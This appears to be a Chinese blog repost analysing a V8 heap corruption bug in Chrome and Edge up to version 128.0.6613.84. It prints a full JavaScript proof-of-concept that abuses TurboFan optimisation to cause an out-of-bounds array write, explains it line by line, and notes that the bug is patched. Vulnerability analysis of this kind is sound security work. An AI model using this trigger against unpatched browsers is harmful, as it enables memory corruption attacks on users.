注册
web

Chrome 浏览器惊现严重漏洞

近期,Chrome 又爆出了一个惊天漏洞,其内部的 JavaScript 引擎 V8 存在不恰当的实现让远程攻击者可以通过精心设计的 HTML 页面对堆损坏进行潜在的攻击


前置知识


V8 引擎是 Google 开发的开源 JavaScript 引擎,最初是为 Chrome 浏览器设计的,现在也被 Node.js 和许多其他项目广泛使用。值得注意的是,从 2020 年开始,Edge 浏览器转而使用了 Chromium 项目,这意味着现在的 Microsoft Edge 浏览器确实使用 V8 引擎来执行 JavaScript 代码,与 Google Chrome 浏览器相同。


堆损坏(Heap Corruption)是一种常见的内存错误,发生在程序错误地操作堆内存时。堆是动态内存分配的区域,程序在运行时可以从堆中分配或释放内存。如果程序不正确地处理这些操作,就可能导致堆损坏。攻击者可能利用堆损坏来执行任意代码,这是许多安全攻击的基础。


漏洞信息


漏洞名称Google Chrome 安全漏洞威胁等级
影响产品Chromium(Edge、Chrome等)影响版本小于等于128.0.6613.84

该漏洞已经在新版本的 Chrome 和 Edge 修复,可以更新至最新版本预防该威胁。


漏洞分析


以下是为 ARM64 设备设计的漏洞利用原型,用于触发该漏洞:


var arrx = new Array(150);
arrx[0] = 1.1;
var fake = new Uint32Array(10);
fake[0]= 1;
fake[1] =3;
fake[2]=2;
fake[3] = 4;
fake[4] = 5;
fake[5] = 6;
fake[6] = 7;
fake[7] = 8;
fake[8] = 9;
var tahir = 0x1;
function poc(a) {
var oob_array = new Array(5);
oob_array[0] = 0x500;
let just_a_variable = fake[0];
let another_variable3 = fake[7];
if(a % 7 == 0)
another_variable3 = 0xff00000000; //spray high bytes
another_variable3 = Math.max(another_variable3,tahir);
another_variable3 = another_variable3 >>> 0;
var index = fake[3];
var for_phi_modes = fake[6];
let c = fake[1];
//giant loop for generate cyclic graph
for(var i =0;i<10;i++) {
if( a % 3 == 0){
just_a_variable = c;
}
if( a % 37 == 0) {
just_a_variable = fake[2];
}
if( a % 11 == 0){
just_a_variable = fake[8];
}
if( a % 17 == 0){
just_a_variable = fake[5];
}
if( a % 19 == 0){
just_a_variable = fake[4];
}
if( a % 7 == 0 && i>=5){
for_phi_modes = just_a_variable;
just_a_variable = another_variable3;
}
if(i>=6){
for(let j=0;j<5;j++){
if(a % 5 == 0) {
index = for_phi_modes;
oob_array[index] = 0x500; //zero extends before getting value
}
}
}
for_phi_modes = c;
c = just_a_variable;
}
//zero extend
return [index,BigInt(just_a_variable)];
}
for(let i = 2; i<0x500;i++) {
poc(i); //compile using turbofan
}
poc(7*5);

通过复杂的数组操作和循环逻辑,企图达到越界访问或者修改内存的目的,从而可能实现任意代码执行。脚本的核心部分是利用 TurboFan 编译器优化的特性,通过特定的数据操作来破坏内存结构


代码分析


首先代码对如下几个变量进行了初始化,分别为:



  • arrx 是一个长度为 150 的数组,初始化第一个元素为 1.1。
  • fake 是一个长度为 10 的 Uint32Array,用于存储一系列整数。
  • tahir 是一个十六进制的整数值 0x1。

然后就是函数部分,包含了复杂的逻辑和条件判断,主要用于操作和修改 oob_array 和 fake 数组的元素。主要有以下几点信息:



  • oob_array 是一个长度为 5 的数组,用于存储操作结果。
  • 函数内部使用了多个局部变量来从 fake 数组中读取数据,并根据输入参数 a 的不同值改变这些数据。
  • 特别是在 a % 5 == 0 的条件下,代码尝试访问 oob_array[index],其中 index 是从 fake 数组中获取的。这可能导致越界访问,因为 index 的值可能超出 oob_array 的索引范围。

最后就是通过多次调用 poc 函数,并且特意让 TurboFan 编译器优化这些循环调用。在一些优化过程中,编译器可能未能处理好边界条件,导致安全问题。


关键点



  • TurboFan 编译器优化TurboFan 是 V8 引擎中的优化编译器,通过频繁调用 poc 函数,脚本试图诱导 TurboFan 生成的代码在边界检查上产生漏洞,从而实现越界访问或写入。
  • 内存破坏:通过复杂的条件控制流,脚本试图创建出一种可以操纵内存指针的情况(如 indexfor_phi_modes),从而进行越界写入,可能导致内存破坏,进一步用于任意代码执行。
  • 条件分支与循环:脚本中多次使用复杂的条件判断和循环逻辑来混淆内存操作,可能意在规避一些简单的防护机制,并诱导编译器优化过程中出现漏洞。

作者:You1i
来源:juejin.cn/post/7416517826041790514

0 个评论

要回复文章请先登录注册